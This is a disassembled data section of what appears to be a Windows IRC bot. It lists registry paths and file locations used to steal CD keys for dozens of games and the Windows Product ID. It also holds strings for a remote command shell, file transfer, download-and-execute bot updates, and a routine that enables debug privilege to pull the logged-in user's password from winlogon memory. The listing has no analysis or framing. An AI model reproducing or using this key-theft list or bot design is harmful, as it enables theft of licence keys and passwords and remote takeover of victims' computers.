dd offset aSerial_0 ; "Serial"
dd offset aCommandAndCo_2 ; "Command and Conquer: Red Alert"
dd 2 dup(0)
dd 80000002h
dd offset aSoftwareWest_1 ; "Software\\Westwood\\Red Alert 2"
dd offset aSerial_1 ; "Serial"
dd offset aCommandAndCo_3 ; "Command and Conquer: Red Alert 2"
align 10h
dd 80000002h
dd offset aSoftwareWest_2 ; "Software\\Westwood\\NOX"
dd offset aSerial_2 ; "Serial"
dd offset aNox ; "NOX"
dd 2 dup(0)
dd 80000002h
dd offset aSoftwareTechla ; "Software\\Techland\\Chrome"
dd offset aSerialnumber ; "SerialNumber"
dd offset aChrome ; "Chrome"
align 10h
dd 80000002h
dd offset aSoftwareIllusi ; "Software\\Illusion Softworks\\Hidden & Da"...
dd offset aKey_2 ; "key"
dd offset aHiddenDangerou ; "Hidden & Dangerous 2"
dd 2 dup(0)
dd 80000002h
dd offset aSoftwareActivi ; "Software\\Activision\\Soldier of Fortune "...
dd offset aInstallpath ; "InstallPath"
dd offset aSoldierOfFortu ; "Soldier of Fortune II - Double Helix"
dd offset aBaseMpSof2key ; "base\\mp\\sof2key"
dd offset aMtkwftmkemfew3 ; "mtkwftmkemfew3p3b7"
dd 80000002h
dd offset aSoftwareBiowar ; "Software\\BioWare\\NWN\\Neverwinter"
dd offset aLocation ; "Location"
dd offset aNeverwinterNig ; "Neverwinter Nights"
dd offset aNwncdkey_ini ; "nwncdkey.ini"
dd offset aKey1 ; "Key1="
dd 80000002h
dd offset aSoftwareBiow_0 ; "Software\\BioWare\\NWN\\Neverwinter"
dd offset aLocation_0 ; "Location"
dd offset aNeverwinterN_0 ; "Neverwinter Nights (Shadows of Undrenti"...
dd offset aNwncdkey_ini_0 ; "nwncdkey.ini"
dd offset aKey2 ; "Key2="
dd 80000002h
dd offset aSoftwareBiow_1 ; "Software\\BioWare\\NWN\\Neverwinter"
dd offset aLocation_1 ; "Location"
dd offset aNeverwinterN_1 ; "Neverwinter Nights (Hordes of the Under"...
dd offset aNwncdkey_ini_1 ; "nwncdkey.ini"
dd offset aKey3 ; "Key3="
dd 6 dup(0)
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .data:off_44D33Co
align 4
aCdkey_0 db 'CDKey',0 ; DATA XREF: .data:0044D340o
align 10h
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .data:0044D344o
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 ; DATA XREF: .data:0044D354o
align 10h
aRegnumber db 'RegNumber',0 ; DATA XREF: .data:0044D358o
align 4
aTheGladiators db 'The Gladiators',0 ; DATA XREF: .data:0044D35Co
align 4
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 ; DATA XREF: .data:0044D36Co
align 4
aKey_0 db 'Key',0 ; DATA XREF: .data:0044D370o
aGunmanChronicl db 'Gunman Chronicles',0 ; DATA XREF: .data:0044D374o
align 4
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 ; DATA XREF: .data:0044D384o
align 4
aKey_1 db 'Key',0 ; DATA XREF: .data:0044D388o
aHalfLife db 'Half-Life',0 ; DATA XREF: .data:0044D38Co
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 ; DATA XREF: .data:0044D39Co
align 4
aPrvkey db 'prvkey',0 ; DATA XREF: .data:0044D3A0o
align 4
aIndustryGiant2 db 'Industry Giant 2',0 ; DATA XREF: .data:0044D3A4o
align 4
aSoftware3d0Sta db 'Software\3d0\Status',0 ; DATA XREF: .data:0044D3B4o
aCustomernumber db 'CustomerNumber',0 ; DATA XREF: .data:0044D3B8o
align 4
aLegendsOfMight db 'Legends of Might and Magic',0 ; DATA XREF: .data:0044D3BCo
align 4
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
; DATA XREF: .data:0044D3CCo
align 4
aCdkey_1 db 'CDKey',0 ; DATA XREF: .data:0044D3D0o
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0 ; DATA XREF: .data:0044D3D4o
aSoftwareMicr_2 db 'Software\Microsoft\Windows\CurrentVersion',0
; DATA XREF: .data:0044D3E4o
align 4
aProductid db 'ProductId',0 ; DATA XREF: .data:0044D3E8o
align 10h
aMicrosoftWindo db 'Microsoft Windows Product ID',0 ; DATA XREF: .data:0044D3ECo
align 10h
aSoftwareUnreal db 'Software\Unreal Technology\Installed Apps\UT2003',0
; DATA XREF: .data:0044D3FCo
align 4
aCdkey_2 db 'CDKey',0 ; DATA XREF: .data:0044D400o
align 4
aUnrealTourname db 'Unreal Tournament 2003',0 ; DATA XREF: .data:0044D404o
align 4
aSoftwareUnre_0 db 'Software\Unreal Technology\Installed Apps\UT2004',0
; DATA XREF: .data:0044D414o
align 4
aCdkey_3 db 'CDKey',0 ; DATA XREF: .data:0044D418o
align 10h
aUnrealTourna_0 db 'Unreal Tournament 2004',0 ; DATA XREF: .data:0044D41Co
align 4
aSoftwareIgi2Re db 'Software\IGI 2 Retail',0 ; DATA XREF: .data:0044D42Co
align 10h
aCdkey_4 db 'CDKey',0 ; DATA XREF: .data:0044D430o
align 4
aIgi2CovertStri db 'IGI 2: Covert Strike',0 ; DATA XREF: .data:0044D434o
align 10h
aSoftwareElectr db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0
; DATA XREF: .data:0044D444o
aFreedomForce db 'Freedom Force',0 ; DATA XREF: .data:0044D44Co
align 4
aSoftwareElec_0 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
; DATA XREF: .data:0044D45Co
aBattlefield194 db 'Battlefield 1942',0 ; DATA XREF: .data:0044D464o
align 4
aSoftwareElec_1 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
; DATA XREF: .data:0044D474o
db 'me\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 ; DATA XREF: .data:0044D47Co
aSoftwareElec_2 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
; DATA XREF: .data:0044D48Co
db ' of WWII\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942 (Secret Weapons of WWII)',0
; DATA XREF: .data:0044D494o
align 10h
aSoftwareElec_3 db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
; DATA XREF: .data:0044D4A4o
align 4
aBattlefieldVie db 'Battlefield Vietnam',0 ; DATA XREF: .data:0044D4ACo
aSoftwareElec_4 db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0
; DATA XREF: .data:0044D4BCo
align 4
aBlackAndWhite db 'Black and White',0 ; DATA XREF: .data:0044D4C4o
aSoftwareElec_5 db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
; DATA XREF: .data:0044D4D4o
db 'ro Hour\ergc',0
align 4
aCommandAndConq db 'Command and Conquer: Generals (Zero Hour)',0
; DATA XREF: .data:0044D4DCo
align 4
aSoftwareElec_6 db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
; DATA XREF: .data:0044D4ECo
aJamesBond007Ni db 'James Bond 007: Nightfire',0 ; DATA XREF: .data:0044D4F4o
align 10h
aSoftwareElec_7 db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0
; DATA XREF: .data:0044D504o
aCommandAndCo_0 db 'Command and Conquer: Generals',0 ; DATA XREF: .data:0044D50Co
align 10h
aSoftwareElec_8 db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0
; DATA XREF: .data:0044D51Co
align 4
aGlobalOperatio db 'Global Operations',0 ; DATA XREF: .data:0044D524o
align 10h
aSoftwareElec_9 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
; DATA XREF: .data:0044D534o
db 'rgc',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault',0 ; DATA XREF: .data:0044D53Co
align 4
aSoftwareEle_10 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
; DATA XREF: .data:0044D54Co
db 'reakthrough\ergc',0
align 4
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
; DATA XREF: .data:0044D554o
align 4
aSoftwareEle_11 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
; DATA XREF: .data:0044D564o
db 'pearhead\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault: Spearhead',0
; DATA XREF: .data:0044D56Co
align 4
aSoftwareEle_12 db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
; DATA XREF: .data:0044D57Co
align 4
aErgc db 'ergc',0 ; DATA XREF: .data:0044D580o
align 10h
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 ; DATA XREF: .data:0044D584o
align 10h
aSoftwareEle_13 db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
; DATA XREF: .data:0044D594o
db 0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0 ; DATA XREF: .data:0044D59Co
aSoftwareEle_14 db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
; DATA XREF: .data:0044D5ACo
db 'ion\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 ; DATA XREF: .data:0044D5B4o
align 10h
aSoftwareEle_15 db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0
; DATA XREF: .data:0044D5C4o
align 4
aFifa2002 db 'FIFA 2002',0 ; DATA XREF: .data:0044D5CCo
align 10h
aSoftwareEle_16 db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0
; DATA XREF: .data:0044D5DCo
align 4
aFifa2003 db 'FIFA 2003',0 ; DATA XREF: .data:0044D5E4o
align 10h
aSoftwareEle_17 db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0
; DATA XREF: .data:0044D5F4o
align 4
aNhl2002 db 'NHL 2002',0 ; DATA XREF: .data:0044D5FCo
align 10h
aSoftwareEle_18 db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0
; DATA XREF: .data:0044D60Co
align 4
aNhl2003 db 'NHL 2003',0 ; DATA XREF: .data:0044D614o
align 10h
aSoftwareEle_19 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
; DATA XREF: .data:0044D624o
align 4
aNascarRacing20 db 'Nascar Racing 2002',0 ; DATA XREF: .data:0044D62Co
align 10h
aSoftwareEle_20 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
; DATA XREF: .data:0044D63Co
align 4
aNascarRacing_0 db 'Nascar Racing 2003',0 ; DATA XREF: .data:0044D644o
align 10h
aSoftwareRedSto db 'Software\Red Storm Entertainment\RAVENSHIELD',0
; DATA XREF: .data:0044D654o
align 10h
aCdkey_5 db 'CDKey',0 ; DATA XREF: .data:0044D658o
align 4
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 ; DATA XREF: .data:0044D65Co
aSoftwareWestwo db 'Software\Westwood\Tiberian Sun',0 ; DATA XREF: .data:0044D66Co
align 4
aSerial db 'Serial',0 ; DATA XREF: .data:0044D670o
align 4
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 ; DATA XREF: .data:0044D674o
align 10h
aSoftwareWest_0 db 'Software\Westwood\Red Alert',0 ; DATA XREF: .data:0044D684o
aSerial_0 db 'Serial',0 ; DATA XREF: .data:0044D688o
align 4
aCommandAndCo_2 db 'Command and Conquer: Red Alert',0 ; DATA XREF: .data:0044D68Co
align 4
aSoftwareWest_1 db 'Software\Westwood\Red Alert 2',0 ; DATA XREF: .data:0044D69Co
align 4
aSerial_1 db 'Serial',0 ; DATA XREF: .data:0044D6A0o
align 4
aCommandAndCo_3 db 'Command and Conquer: Red Alert 2',0 ; DATA XREF: .data:0044D6A4o
align 10h
aSoftwareWest_2 db 'Software\Westwood\NOX',0 ; DATA XREF: .data:0044D6B4o
align 4
aSerial_2 db 'Serial',0 ; DATA XREF: .data:0044D6B8o
align 10h
aNox db 'NOX',0 ; DATA XREF: .data:0044D6BCo
aSoftwareTechla db 'Software\Techland\Chrome',0 ; DATA XREF: .data:0044D6CCo
align 10h
aSerialnumber db 'SerialNumber',0 ; DATA XREF: .data:0044D6D0o
align 10h
aChrome db 'Chrome',0 ; DATA XREF: .data:0044D6D4o
align 4
aSoftwareIllusi db 'Software\Illusion Softworks\Hidden & Dangerous 2',0
; DATA XREF: .data:0044D6E4o
align 4
aKey_2 db 'key',0 ; DATA XREF: .data:0044D6E8o
aHiddenDangerou db 'Hidden & Dangerous 2',0 ; DATA XREF: .data:0044D6ECo
align 4
aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0
; DATA XREF: .data:0044D6FCo
align 4
aInstallpath db 'InstallPath',0 ; DATA XREF: .data:0044D700o
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 ; DATA XREF: .data:0044D704o
align 4
aBaseMpSof2key db 'base\mp\sof2key',0 ; DATA XREF: .data:0044D708o
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 ; DATA XREF: .data:0044D70Co
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 ; DATA XREF: .data:0044D714o
align 10h
aLocation db 'Location',0 ; DATA XREF: .data:0044D718o
align 4
aNeverwinterNig db 'Neverwinter Nights',0 ; DATA XREF: .data:0044D71Co
align 10h
aNwncdkey_ini db 'nwncdkey.ini',0 ; DATA XREF: .data:0044D720o
align 10h
aKey1 db 'Key1=',0 ; DATA XREF: .data:0044D724o
align 4
aSoftwareBiow_0 db 'Software\BioWare\NWN\Neverwinter',0 ; DATA XREF: .data:0044D72Co
align 4
aLocation_0 db 'Location',0 ; DATA XREF: .data:0044D730o
align 4
aNeverwinterN_0 db 'Neverwinter Nights (Shadows of Undrentide)',0
; DATA XREF: .data:0044D734o
align 4
aNwncdkey_ini_0 db 'nwncdkey.ini',0 ; DATA XREF: .data:0044D738o
align 4
aKey2 db 'Key2=',0 ; DATA XREF: .data:0044D73Co
align 4
aSoftwareBiow_1 db 'Software\BioWare\NWN\Neverwinter',0 ; DATA XREF: .data:0044D744o
align 10h
aLocation_1 db 'Location',0 ; DATA XREF: .data:0044D748o
align 4
aNeverwinterN_1 db 'Neverwinter Nights (Hordes of the Underdark)',0
; DATA XREF: .data:0044D74Co
align 4
aNwncdkey_ini_1 db 'nwncdkey.ini',0 ; DATA XREF: .data:0044D750o
align 4
aKey3 db 'Key3=',0 ; DATA XREF: .data:0044D754o
align 4
; char aSS_7[]
aSS_7 db '%s\%s',0 ; DATA XREF: sub_416591+79o
align 4
; char aR_1[]
aR_1: ; DATA XREF: sub_416591+8Ao
unicode 0, <r>,0
; char asc_44E610[]
asc_44E610: ; DATA XREF: sub_416591+DEo
unicode 0, <=>,0
; char asc_44E614[]
asc_44E614: ; DATA XREF: sub_416591+E9o
unicode 0, <=>,0
dword_44E618 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_416591+FBo
dd 0
; char asc_44E630[]
asc_44E630 db '-' ; DATA XREF: sub_416591+109o
db 3, 34h, 2
dd 656B6463h, 3027379h, 7325202Dh, 7325203Ah, 0
; char asc_44E648[]
asc_44E648 db '-' ; DATA XREF: sub_416591+15Bo
db 3, 34h, 2
dd 656B6463h, 3027379h, 7325202Dh, 7325203Ah, 0
; char asc_44E660[]
asc_44E660 db '-' ; DATA XREF: sub_4167BF+47o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 4
; char asc_44E684[]
asc_44E684 db '-' ; DATA XREF: sub_4167BF+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
; char asc_44E6B4[]
asc_44E6B4 db 0Ah,0 ; DATA XREF: sub_4167BF+138o
align 4
; char asc_44E6B8[]
asc_44E6B8 db '-' ; DATA XREF: sub_4167BF+170o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
unk_44E6EC db 2Dh ; - ; DATA XREF: sub_416980+44o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_3 db '- failed to create socket',0
align 10h
unk_44E710 db 2Dh ; - ; DATA XREF: sub_416980+82o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_44E734 db 2Dh ; - ; DATA XREF: sub_416980+FDo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpen_0 db '- failed to open socket',0
align 4
unk_44E758 db 2Dh ; - ; DATA XREF: sub_416980+127o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 4
; char dword_44E778
dword_44E778 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_416980+16Ao
dd 169h
dword_44E790 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: sub_416980+1CBo
dd 74756Fh
; char asc_44E7A8[]
asc_44E7A8 db '-' ; DATA XREF: sub_416980+202o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 4
dword_44E7CC dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: sub_416980+36Bo
dd 726F72h
dword_44E7E4 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: sub_416980+37Co
dd 726F72h
; char asc_44E7FC[]
asc_44E7FC db '-' ; DATA XREF: sub_416980+2FAo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
; char aSS_8[]
aSS_8 db '%s%s',0 ; DATA XREF: sub_416D25+54o
align 10h
unk_44E830 db 2Dh ; - ; DATA XREF: sub_416D25+83o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 10h
; char aAB[]
aAB db 'a+b',0 ; DATA XREF: sub_416D25+97o
unk_44E864 db 2Dh ; - ; DATA XREF: sub_416D25+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 10h
; char asc_44E890[]
asc_44E890 db '-' ; DATA XREF: sub_416D25+CBo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
; char asc_44E8B0[]
asc_44E8B0 db '-' ; DATA XREF: sub_416D25+156o
db 3, 34h, 2
dd 2636364h, 73202D03h, 656B636Fh, 72652074h, 726F72h
; char asc_44E8C8[]
asc_44E8C8 db '-' ; DATA XREF: sub_416D25+1D1o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
; char asc_44E8F4[]
asc_44E8F4 db '-' ; DATA XREF: sub_416F62+77o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 4
unk_44E91C db 2Dh ; - ; DATA XREF: sub_416F62+183o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 4
; char asc_44E944[]
asc_44E944 db '-' ; DATA XREF: sub_416F62+195o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 4
; char asc_44E96C[]
asc_44E96C db '-' ; DATA XREF: sub_416F62+1D8o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 4
; char asc_44E998[]
asc_44E998 db '-' ; DATA XREF: sub_416F62+262o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 10h
; char asc_44E9C0[]
asc_44E9C0 db '-' ; DATA XREF: sub_416F62+2E1o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
aOpen_2 db 'open',0 ; DATA XREF: sub_416F62+336o
align 10h
; char asc_44EA00[]
asc_44EA00 db '-' ; DATA XREF: sub_416F62+358o
db 3, 34h, 2
dd 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh, 25206465h
dd 73h
; char asc_44EA1C[]
asc_44EA1C db '-' ; DATA XREF: sub_416F62+3C9o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 10h
unk_44EA60 db 2Dh ; - ; DATA XREF: sub_416F62+485o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
; char asc_44EA94[]
asc_44EA94 db '-' ; DATA XREF: sub_416F62+493o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
aUnknown db 'Unknown',0 ; DATA XREF: sub_41750A:loc_41754Do
aInvalid db 'Invalid',0 ; DATA XREF: sub_41750A:loc_417547o
aDisk db 'Disk',0 ; DATA XREF: sub_41750A:loc_417541o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_41750A:loc_41753Bo
aCdrom db 'Cdrom',0 ; DATA XREF: sub_41750A:loc_417535o
align 4
off_44EAE8 dd offset word_4D4152 ; DATA XREF: sub_41750A:loc_41752Fo
dword_44EAEC dd 3Fh ; DATA XREF: sub_41750A+1Fo
; char aFailed[]
aFailed db 'failed',0 ; DATA XREF: sub_41759B+E9o
align 4
; char aFailed_0[]
aFailed_0 db 'failed',0 ; DATA XREF: sub_41759B+FCo
align 10h
; char aFailed_1[]
aFailed_1 db 'failed',0 ; DATA XREF: sub_41759B+10Fo
align 4
; char aSkb[]
aSkb db '%sKB',0 ; DATA XREF: sub_41759B+72o
align 10h
; char aSkb_0[]
aSkb_0 db '%sKB',0 ; DATA XREF: sub_41759B+9Fo
align 4
; char aSkb_1[]
aSkb_1 db '%sKB',0 ; DATA XREF: sub_41759B+CCo
align 10h
; char aFailed_2[]
aFailed_2 db 'failed',0 ; DATA XREF: sub_4176CB+3Bo
align 4
; char asc_44EB28[]
asc_44EB28 db '-' ; DATA XREF: sub_4176CB+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
; char asc_44EB64[]
asc_44EB64 db '-' ; DATA XREF: sub_4176CB+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 10h
; char aA_1[]
aA_1 db 'A:\',0 ; DATA XREF: sub_41779D:loc_4177E2o
; char asc_44EBA4[]
asc_44EBA4 db '-' ; DATA XREF: sub_417822+5Co
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
; char asc_44EBCC[]
asc_44EBCC db '-' ; DATA XREF: sub_417822+C8o
db 3, 34h, 2
dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 64252064h
dd 6C696620h, 7365h
; char aS_29[]
aS_29 db '%s\*',0 ; DATA XREF: sub_41793D+1Ao
align 4
; char aSS_9[]
aSS_9 db '%s\%s',0 ; DATA XREF: sub_41793D+7Ao
align 4
; char aSS_10[]
aSS_10 db '%s\%s',0 ; DATA XREF: sub_41793D+CEo
align 4
; char asc_44EC04[]
asc_44EC04 db '-' ; DATA XREF: sub_41793D+107o
db 3, 34h, 2
dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 73252064h
dd 73255Ch
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_417A8B+40o
align 4
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_417A8B+55o
align 10h
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_417A8B+68o
align 4
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_417A8B+73o
align 4
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_417A8B+80o
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_417A8B+8Do
align 4
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_417A8B+9Ao
align 10h
aUsername: ; DATA XREF: sub_417A8B+CEo
unicode 0, <USERNAME>,0
align 4
aUserdomain: ; DATA XREF: sub_417A8B+DCo
unicode 0, <USERDOMAIN>,0
align 4
; char asc_44ECFC[]
asc_44ECFC db '-' ; DATA XREF: sub_417A8B+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
unk_44ED58 db 2Dh ; - ; DATA XREF: sub_417A8B:loc_417BD0o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 10h
; char asc_44ED90[]
asc_44ED90 db '-' ; DATA XREF: sub_417A8B:loc_417BD7o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
aSedebugprivi_0 db 'SeDebugPrivilege',0 ; DATA XREF: sub_417A8B+161o
align 10h
; char asc_44EDD0[]
asc_44EDD0 db '-' ; DATA XREF: sub_417A8B:loc_417C04o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
unk_44EE04 db 2Dh ; - ; DATA XREF: sub_417A8B+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 4
; char aWinlogon[]
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417C5D+AFo
align 10h
; char aNwgina[]
aNwgina db 'NWGINA',0 ; DATA XREF: sub_417C5D+123o
align 4
; char aMsgina[]
aMsgina db 'MSGINA',0 ; DATA XREF: sub_417C5D+13Eo
align 10h
; char asc_44EE50[]
asc_44EE50 db '-' ; DATA XREF: sub_4180C3+70o
db 3, 34h, 2
dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh
dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h
dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h
dd 65735502h, 203A0272h, 2F532528h, 295325h
; char asc_44EEA0[]
asc_44EEA0 db '-' ; DATA XREF: sub_41815A+C7o
db 3, 34h, 2
dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh
dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h
dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h
dd 65735502h, 203A0272h, 2F532528h, 295325h
; char asc_44EEF0[]
asc_44EEF0 db '-' ; DATA XREF: sub_41815A+E1o
db 3, 34h, 2
dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh
dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h
dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h
dd 65735502h, 203A0272h, 2F532528h, 412F4E28h, 2929h
; char *off_44EF44
